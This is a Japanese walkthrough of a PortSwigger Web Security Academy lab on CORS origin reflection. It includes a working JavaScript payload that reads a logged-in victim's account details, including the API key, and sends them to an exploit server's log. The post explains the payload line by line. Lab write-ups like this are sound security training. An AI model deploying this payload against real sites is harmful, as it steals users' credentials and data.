Portswigger社のWebSecurityAcademyのLabをやってみたので。
今回は、CORS vulnerability with basic origin reflection を。
お題としては、、、
この Web サイトは、 安全でないCORS すべてのオリジンを信頼するという点で 構成を採用しています。
ラボを解決するには、CORS を使用して管理者の API キーを取得し、そのコードをエクスプロイト サーバーにアップロードする JavaScript を作成します。 管理者の API キーを正常に送信すると、ラボは解決されます。
ということのようで。
まずはクレデンシャルがwiener:peter と与えられているので、ログインをし。
ログインができて。
するとAPI Key が表示されていて。
/accountDetail というエンドポイントを見ると、apikeyが見れて。
さらにレスポンスをみると、Access-Control-Allow-Credentials とあり。
リクエストを編集して、Origin:https://example.com を挿入し。
挿入され、脆弱性があることが確認でき。
エクスプロイトサーバーにいき、以下のコードをbodyに。
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
このコードは、、、
-
XMLHttpRequest
オブジェクトを作成し。var req = new XMLHttpRequest();
- これはブラウザがサーバーと非同期通信を行うためのオブジェクトです。
-
リクエストが完了したときの処理を定義します。
req.onload = reqListener;
- リクエストが成功的に完了したときに
reqListener
関数が呼び出されます。
-
リクエストを開始します。
-
リクエストに資格情報を含めるように指定します。
-
リクエストを送信します。
req.send();
-
レスポンスが帰ってきたときの処理を定義します。
function reqListener() { location='/log?key='+this.responseText; };
- この関数は、サーバーからのレスポンステキストを取得し、'/log'というURLにそのテキストを
key
パラメータとして追加して、ブラウザをそのURLにリダイレクトします。
こんなかんじで。
Access Log をみると、
{} で囲まれた箇所をデコードし、
apikey をsubmitし、
解決でき。
ほなほな。